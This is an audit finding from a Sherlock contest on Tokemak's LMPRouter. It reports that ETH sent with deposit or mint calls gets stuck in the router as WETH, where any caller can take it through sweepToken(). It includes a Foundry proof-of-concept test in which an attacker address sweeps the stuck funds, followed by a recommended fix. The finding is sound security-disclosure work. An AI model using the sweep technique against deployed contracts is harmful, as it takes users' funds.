talfao - Double spending issue in LMPRouter

[sherlock-admin]

talfao

high

Double spending issue in LMPRouter

Summary

The LMPRouter deposit/mint functions can be used with msg.value as they are payable. The _processEthIn function is called. However, it stucks WETH in the router, not sending it to the LMP vault. After that, any user can steal that WETH from the router.

Vulnerability Detail

The vulnerability can lead to a double spending issue since the front end or the user will probably approve the router from spending his WETH.

1. The user will send to his deposit function an optimal ETH amount to deposit to LMPVault. The router promises to wrap ETH and send it to the LMPVault.
2. However, the LMPRouter calls weth.deposit in the context of the contract and not in the context of a user, so the WETH is sent to the router. But as the user approved the router from pulling his WETH, the router called pullToken.
3. In this sense, WETH from a user’s balance is sent to the LMPVault, and proper shares are minted to the user. But all ETH that the user sends along with his deposit gets to the router.
4. This WETH located in the router could be stolen by the attacker as he can call the sweepToken() function.

Notes: pullToken and sweepToken functions are available in PeripheryPayments.sol

In the current design, the router could work correctly if pullToken() is not presented when a function is called with ETH.

Poc below can be added to LMPVaultRouter.t.sol

POC

function test_double_spending() public {
        //@audit-issue issue test for Stucking ETH in contract and anyone can withdraw it
        address attacker = makeAddr("attacker");
        uint256 amount = depositAmount;
        uint256 etherAmount = 1 ether;
        uint256 baseAssetBefore = baseAsset.balanceOf(address(this));
        uint256 sharesBefore = lmpVault.balanceOf(address(this));

        baseAsset.approve(address(lmpVaultRouter), amount); // Frontend leads user to approve or he approved router from some old times
        uint256 sharesReceived = lmpVaultRouter.deposit{ value: etherAmount }(lmpVault, address(this), amount, 1);

        assertGt(sharesReceived, 0);
        assertEq(baseAsset.balanceOf(address(this)), baseAssetBefore - amount);
        assertEq(lmpVault.balanceOf(address(this)), sharesBefore + sharesReceived);
        assertEq(baseAsset.balanceOf(address(lmpVaultRouter)), etherAmount); // whole msg.value got stuck in Router, attacker can claim it

        vm.startPrank(attacker);
        lmpVaultRouter.sweepToken(baseAsset, etherAmount, attacker);
        assert(baseAsset.balanceOf(attacker) == etherAmount);
    }

Impact

Loss of user’s funds. The router does not behave as it should when processing deposit/mint functions with ETH.

Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L120

• Deposit is not handled differently when the ETH is sent.
  https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L44C1-L57C6

Tool used

Manual Review

Recommendation

The weth.deposit should be called in the context of a user (use function delegate call), or if ETH is sent, process deposit/mint differently. Do not pull tokens from the user.

Duplicate of #1